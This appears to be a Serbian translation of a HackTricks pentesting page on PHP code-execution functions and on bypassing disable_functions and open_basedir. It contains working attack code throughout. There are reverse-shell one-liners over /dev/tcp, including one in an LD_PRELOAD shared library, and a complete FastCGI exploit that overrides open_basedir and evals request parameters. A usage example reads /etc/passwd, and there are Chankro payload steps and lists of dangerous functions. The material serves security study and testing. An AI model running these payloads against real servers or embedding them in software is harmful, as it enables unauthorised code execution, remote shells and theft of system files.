PHP - Useful Functions & disable_functions/open_basedir bypass

Podržite HackTricks

PHP izvršavanje komandi i koda

PHP izvršavanje komandi

Napomena: A p0wny-shell php webshell može automatski proveriti i zaobići sledeću funkciju ako su neke od njih onemogućene.

exec - Vraća poslednju liniju izlaza komandi

echo exec("uname  -a");

passthru - Prosledi izlaz komandi direktno u pregledač

echo passthru("uname -a");

system - Prosledi izlaz komandi direktno u pregledač i vraća poslednju liniju

echo system("uname -a");

shell_exec - Vraća izlaz komandi

echo shell_exec("uname -a");

`` (backticks) - Isto kao shell_exec()

echo `uname -a`

popen - Otvara čitač ili pisac cevi za proces komande

echo fread(popen("/bin/ls /", "r"), 4096);

proc_open - Sličan popen(), ali sa većim stepenom kontrole

proc_close(proc_open("uname -a",array(),$something));

preg_replace

<?php preg_replace('/.*/e', 'system("whoami");', ''); ?>

pcntl_exec - Izvršava program (po defaultu u modernom i ne tako modernom PHP-u potrebno je učitati pcntl.so modul da biste koristili ovu funkciju)

pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]);

mail / mb_send_mail - Ova funkcija se koristi za slanje mejlova, ali se takođe može zloupotrebiti za injektovanje proizvoljnih komandi unutar $options parametra. To je zato što php mail funkcija obično poziva sendmail binarni fajl unutar sistema i omogućava vam da dodate dodatne opcije. Međutim, nećete moći da vidite izlaz izvršene komande, pa se preporučuje da kreirate shell skriptu koja piše izlaz u fajl, izvršite je koristeći mail, i odštampate izlaz:

file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777);  mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt');

dl - Ova funkcija se može koristiti za dinamičko učitavanje PHP ekstenzije. Ova funkcija neće uvek biti prisutna, pa treba proveriti da li je dostupna pre nego što pokušate da je iskoristite. Pročitajte ovu stranicu da biste saznali kako da iskoristite ovu funkciju.

PHP Izvršavanje Koda

Pored eval, postoje i drugi načini za izvršavanje PHP koda: include/require se mogu koristiti za udaljeno izvršavanje koda u obliku ranjivosti Local File Include i Remote File Include.

${<php code>}              // If your input gets reflected in any PHP string, it will be executed.
eval()
assert()                   //  identical to eval()
preg_replace('/.*/e',...)  // e does an eval() on the match
create_function()          // Create a function and use eval()
include()
include_once()
require()
require_once()
$_GET['func_name']($_GET['argument']);

$func = new ReflectionFunction($_GET['func_name']);
$func->invoke();
// or
$func->invokeArgs(array());

// or serialize/unserialize function

disable_functions & open_basedir

Onemogućene funkcije je podešavanje koje se može konfigurisati u .ini datotekama u PHP-u koje će zabraniti korišćenje naznačenih funkcija. Open basedir je podešavanje koje PHP-u ukazuje na folder koji može da pristupi. PHP podešavanje obično se konfiguriše u putanji /etc/php7/conf.d ili slično.

Obe konfiguracije mogu se videti u izlazu phpinfo():

open_basedir Bypass

open_basedir će konfigurisati foldere kojima PHP može da pristupi, ne ćete moći da pišete/čitate/izvršavate bilo koju datoteku van tih foldera, ali takođe nećete moći ni da listate druge direktorijume. Međutim, ako nekako uspete da izvršite proizvoljan PHP kod, možete probati sledeći deo koda da pokušate da obiđete ograničenje.

Listing dirs with glob:// bypass

U ovom prvom primeru koristi se glob:// protokol sa nekim zaobilaznim putem:

<?php
$file_list = array();
$it = new DirectoryIterator("glob:///v??/run/*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
$it = new DirectoryIterator("glob:///v??/run/.*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
echo "{$f}<br/>";
}

Napomena1: U putanji možete takođe koristiti /e??/* da listate /etc/* i bilo koju drugu fasciklu. Napomena2: Izgleda da je deo koda dupliran, ali to je zapravo neophodno! Napomena3: Ovaj primer je samo koristan za listanje fascikala, a ne za čitanje fajlova.

Potpuni open_basedir bypass korišćenjem FastCGI

Ako želite da saznate više o PHP-FPM i FastCGI možete pročitati prvi deo ove stranice. Ako je php-fpm konfigurisan, možete ga iskoristiti da potpuno zaobiđete open_basedir:

Imajte na umu da je prva stvar koju treba da uradite da pronađete gde se nalazi unix socket php-fpm. Obično se nalazi pod /var/run, tako da možete koristiti prethodni kod da listate direktorijum i pronađete ga. Kod iz ovde.

<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author      Pierrick Charron <pierrick@webstart.fr>
* @version     1.0
*/
class FCGIClient
{
const VERSION_1            = 1;
const BEGIN_REQUEST        = 1;
const ABORT_REQUEST        = 2;
const END_REQUEST          = 3;
const PARAMS               = 4;
const STDIN                = 5;
const STDOUT               = 6;
const STDERR               = 7;
const DATA                 = 8;
const GET_VALUES           = 9;
const GET_VALUES_RESULT    = 10;
const UNKNOWN_TYPE         = 11;
const MAXTYPE              = self::UNKNOWN_TYPE;
const RESPONDER            = 1;
const AUTHORIZER           = 2;
const FILTER               = 3;
const REQUEST_COMPLETE     = 0;
const CANT_MPX_CONN        = 1;
const OVERLOADED           = 2;
const UNKNOWN_ROLE         = 3;
const MAX_CONNS            = 'MAX_CONNS';
const MAX_REQS             = 'MAX_REQS';
const MPXS_CONNS           = 'MPXS_CONNS';
const HEADER_LEN           = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1)         /* version */
. chr($type)                    /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF)        /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
. chr($clen & 0xFF)             /* contentLengthB0 */
. chr(0)                        /* paddingLength */
. chr(0)                        /* reserved */
. $content;                     /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version']       = ord($data{0});
$ret['type']          = ord($data{1});
$ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved']      = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len  = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
$this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
fwrite($this->_sock, $request);
do {
$resp = $this->readPacket();
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
$response .= $resp['content'];
}
} while ($resp && $resp['type'] != self::END_REQUEST);
var_dump($resp);
if (!is_array($resp)) {
throw new Exception('Bad request');
}
switch (ord($resp['content']{4})) {
case self::CANT_MPX_CONN:
throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new Exception('New request rejected; too busy [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new Exception('Role value not known [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $response;
}
}
}
?>
<?php
// real exploit start here
if (!isset($_REQUEST['cmd'])) {
die("Check your input\n");
}
if (!isset($_REQUEST['filepath'])) {
$filepath = __FILE__;
}else{
$filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php eval(\$_REQUEST['command']);?>"; // php payload -- Doesnt do anything
$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
//$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD'    => 'POST',
'SCRIPT_FILENAME'   => $filepath,
'SCRIPT_NAME'       => $req,
'QUERY_STRING'      => 'command='.$_REQUEST['cmd'],
'REQUEST_URI'       => $uri,
'DOCUMENT_URI'      => $req,
#'DOCUMENT_ROOT'     => '/',
'PHP_VALUE'         => $php_value,
'SERVER_SOFTWARE'   => '80sec/wofeiwo',
'REMOTE_ADDR'       => '127.0.0.1',
'REMOTE_PORT'       => '9985',
'SERVER_ADDR'       => '127.0.0.1',
'SERVER_PORT'       => '80',
'SERVER_NAME'       => 'localhost',
'SERVER_PROTOCOL'   => 'HTTP/1.1',
'CONTENT_LENGTH'    => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>

Ovi skripti će komunicirati sa unix socket-om php-fpm (obično se nalazi u /var/run ako se koristi fpm) da izvrše proizvoljan kod. open_basedir podešavanja će biti prepisana atributom PHP_VALUE koji se šalje. Obratite pažnju na to kako se eval koristi za izvršavanje PHP koda koji šaljete unutar cmd parametra. Takođe obratite pažnju na komentarisanu liniju 324, možete je otkomentarisati i payload će se automatski povezati na dati URL i izvršiti PHP kod koji se tamo nalazi. Samo pristupite http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd'); da dobijete sadržaj datoteke /etc/passwd.

Možda mislite da na isti način na koji smo prepisali open_basedir konfiguraciju možemo prepisati disable_functions. Pa, pokušajte, ali neće raditi, očigledno disable_functions se može konfigurisati samo u .ini php konfiguracionom fajlu i promene koje izvršite koristeći PHP_VALUE neće biti efikasne na ovom specifičnom podešavanju.

disable_functions Bypass

Ako uspete da izvršite PHP kod unutar mašine, verovatno želite da pređete na sledeći nivo i izvršite proizvoljne sistemske komande. U ovoj situaciji je uobičajeno otkriti da su većina ili sve PHP funkcije koje omogućavaju izvršavanje sistemskih komandi onemogućene u disable_functions. Dakle, hajde da vidimo kako možete zaobići ovo ograničenje (ako možete)

Automatsko otkrivanje zaobilaženja

Možete koristiti alat https://github.com/teambi0s/dfunc-bypasser i on će vam pokazati koju funkciju (ako postoji) možete koristiti da zaobiđete disable_functions.

Zaobilaženje korišćenjem drugih sistemskih funkcija

Samo se vratite na početak ove stranice i proverite da li neka od funkcija za izvršavanje komandi nije onemogućena i dostupna u okruženju. Ako pronađete samo 1 od njih, moći ćete da je koristite za izvršavanje proizvoljnih sistemskih komandi.

LD_PRELOAD zaobilaženje

Poznato je da neke funkcije u PHP-u kao što je mail() će izvršiti binarne datoteke unutar sistema. Stoga, možete ih zloupotrebiti koristeći promenljivu okruženja LD_PRELOAD da ih naterate da učitaju proizvoljnu biblioteku koja može izvršiti bilo šta.

Funkcije koje se mogu koristiti za zaobilaženje disable_functions sa LD_PRELOAD

  • mail

  • mb_send_mail: Efikasno kada je instaliran php-mbstring modul.

  • imap_mail: Radi ako je prisutan php-imap modul.

  • libvirt_connect: Zahteva php-libvirt-php modul.

  • gnupg_init: Može se koristiti sa instaliranim php-gnupg modulom.

  • new imagick(): Ova klasa se može zloupotrebiti da zaobiđe ograničenja. Detaljne tehnike eksploatacije mogu se naći u sveobuhvatnom writeup-u ovde.

Možete pronaći ovde skript za fuzzing koji je korišćen za pronalaženje tih funkcija.

Evo biblioteke koju možete kompajlirati da zloupotrebite LD_PRELOAD env promenljivu:

#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>

uid_t getuid(void){
unsetenv("LD_PRELOAD");
system("bash -c \"sh -i >& /dev/tcp/127.0.0.1/1234 0>&1\"");
return 1;
}

Bypass koristeći Chankro

Da biste iskoristili ovu pogrešnu konfiguraciju, možete Chankro. Ovo je alat koji će generisati PHP exploit koji treba da otpremite na ranjivi server i izvršite ga (pristupite mu putem veba). Chankro će napisati unutar diska žrtve biblioteku i reverznu ljusku koju želite da izvršite i koristiće LD_PRELOAD trik + PHP mail() funkciju za izvršavanje reverzne ljuske.

Napomena: da biste koristili Chankro, mail i putenv ne mogu se pojaviti unutar disable_functions liste. U sledećem primeru možete videti kako da napravite chankro exploit za arch 64, koji će izvršiti whoami i sačuvati izlaz u /tmp/chankro_shell.out, chankro će napisati biblioteku i payload u /tmp i konačni exploit će se zvati bicho.php (to je datoteka koju treba da otpremite na server žrtve):

#!/bin/sh
whoami > /tmp/chankro_shell.out

Ako otkrijete da je funkcija mail blokirana zbog onemogućenih funkcija, možda ćete i dalje moći da koristite funkciju mb_send_mail. Više informacija o ovoj tehnici i Chankro ovde: https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/

"Zaobilaženje" korišćenjem PHP mogućnosti

Imajte na umu da korišćenjem PHP možete čitati i pisati datoteke, kreirati direktorijume i menjati dozvole. Možete čak i dumpovati baze podataka. Možda korišćenjem PHP za enumeraciju kutije možete pronaći način za eskalaciju privilegija/izvršavanje komandi (na primer, čitanje nekog privatnog ssh ključa).

Napravio sam webshell koji olakšava izvođenje ovih akcija (imajte na umu da će većina webshellova takođe ponuditi ove opcije): https://github.com/carlospolop/phpwebshelllimited

Zaobilaženja zavisna od modula/verzije

Postoji nekoliko načina da se zaobiđu disable_functions ako se koristi neki specifičan modul ili iskoristi neka specifična verzija PHP-a:

Automatski alat

Sledeći skript pokušava neke od metoda komentisanih ovde: https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/shell.php

Druge zanimljive PHP funkcije

Lista funkcija koje prihvataju povratne pozive

Ove funkcije prihvataju string parametar koji se može koristiti za pozivanje funkcije po izboru napadača. U zavisnosti od funkcije, napadač može ili ne mora imati mogućnost da prosledi parametar. U tom slučaju, funkcija za otkrivanje informacija kao što je phpinfo() može se koristiti.

Callbacks / Callables

Prateće liste odavde

// Function => Position of callback arguments
'ob_start' => 0,
'array_diff_uassoc' => -1,
'array_diff_ukey' => -1,
'array_filter' => 1,
'array_intersect_uassoc' => -1,
'array_intersect_ukey' => -1,
'array_map' => 0,
'array_reduce' => 1,
'array_udiff_assoc' => -1,
'array_udiff_uassoc' => array(-1, -2),
'array_udiff' => -1,
'array_uintersect_assoc' => -1,
'array_uintersect_uassoc' => array(-1, -2),
'array_uintersect' => -1,
'array_walk_recursive' => 1,
'array_walk' => 1,
'assert_options' => 1,
'uasort' => 1,
'uksort' => 1,
'usort' => 1,
'preg_replace_callback' => 1,
'spl_autoload_register' => 0,
'iterator_apply' => 1,
'call_user_func' => 0,
'call_user_func_array' => 0,
'register_shutdown_function' => 0,
'register_tick_function' => 0,
'set_error_handler' => 0,
'set_exception_handler' => 0,
'session_set_save_handler' => array(0, 1, 2, 3, 4, 5),
'sqlite_create_aggregate' => array(2, 3),
'sqlite_create_function' => 2,

Otkriće informacija

Većina ovih poziva funkcija nije sinka. Ali to može biti ranjivost ako su bilo koji od vraćenih podataka vidljivi napadaču. Ako napadač može da vidi phpinfo(), to je definitivno ranjivost.

phpinfo
posix_mkfifo
posix_getlogin
posix_ttyname
getenv
get_current_user
proc_get_status
get_cfg_var
disk_free_space
disk_total_space
diskfreespace
getcwd
getlastmo
getmygid
getmyinode
getmypid
getmyuid

Остало

extract    // Opens the door for register_globals attacks (see study in scarlet).
parse_str  // works like extract if only one argument is given.
putenv
ini_set
mail       // has CRLF injection in the 3rd parameter, opens the door for spam.
header     // on old systems CRLF injection could be used for xss or other purposes, now it is still a problem if they do a header("location: ..."); and they do not die();. The script keeps executing after a call to header(), and will still print output normally. This is nasty if you are trying to protect an administrative area.
proc_nice
proc_terminate
proc_close
pfsockopen
fsockopen
apache_child_terminate
posix_kill
posix_mkfifo
posix_setpgid
posix_setsid
posix_setuid

Filesystem Functions

Prema RATS-u, sve funkcije datotečnog sistema u php su loše. Neke od njih se ne čine veoma korisnim za napadača. Druge su korisnije nego što mislite. Na primer, ako je allow_url_fopen=On, tada se URL može koristiti kao putanja do datoteke, tako da se poziv copy($_GET['s'], $_GET['d']); može koristiti za otpremanje PHP skripte bilo gde na sistemu. Takođe, ako je sajt ranjiv na zahtev poslat putem GET, svaka od tih funkcija datotečnog sistema može biti zloupotrebljena da usmeri napad na drugi host preko vašeg servera.

Open filesystem handler

fopen
tmpfile
bzopen
gzopen
SplFileObject->__construct

Pisanje u datotečni sistem (delimično u kombinaciji sa čitanjem)

chgrp
chmod
chown
copy
file_put_contents
lchgrp
lchown
link
mkdir
move_uploaded_file
rename
rmdir
symlink
tempnam
touch
unlink
imagepng     // 2nd parameter is a path.
imagewbmp    // 2nd parameter is a path.
image2wbmp   // 2nd parameter is a path.
imagejpeg    // 2nd parameter is a path.
imagexbm     // 2nd parameter is a path.
imagegif     // 2nd parameter is a path.
imagegd      // 2nd parameter is a path.
imagegd2     // 2nd parameter is a path.
iptcembed
ftp_get
ftp_nb_get
scandir

Čitaj iz datotečnog sistema

file_exists
-- file_get_contents
file
fileatime
filectime
filegroup
fileinode
filemtime
fileowner
fileperms
filesize
filetype
glob
is_dir
is_executable
is_file
is_link
is_readable
is_uploaded_file
is_writable
is_writeable
linkinfo
lstat
parse_ini_file
pathinfo
readfile
readlink
realpath
stat
gzfile
readgzfile
getimagesize
imagecreatefromgif
imagecreatefromjpeg
imagecreatefrompng
imagecreatefromwbmp
imagecreatefromxbm
imagecreatefromxpm
ftp_put
ftp_nb_put
exif_read_data
read_exif_data
exif_thumbnail
exif_imagetype
hash_file
hash_hmac_file
hash_update_file
md5_file
sha1_file
-- highlight_file
-- show_source
php_strip_whitespace
get_meta_tags
Podržite HackTricks

Last updated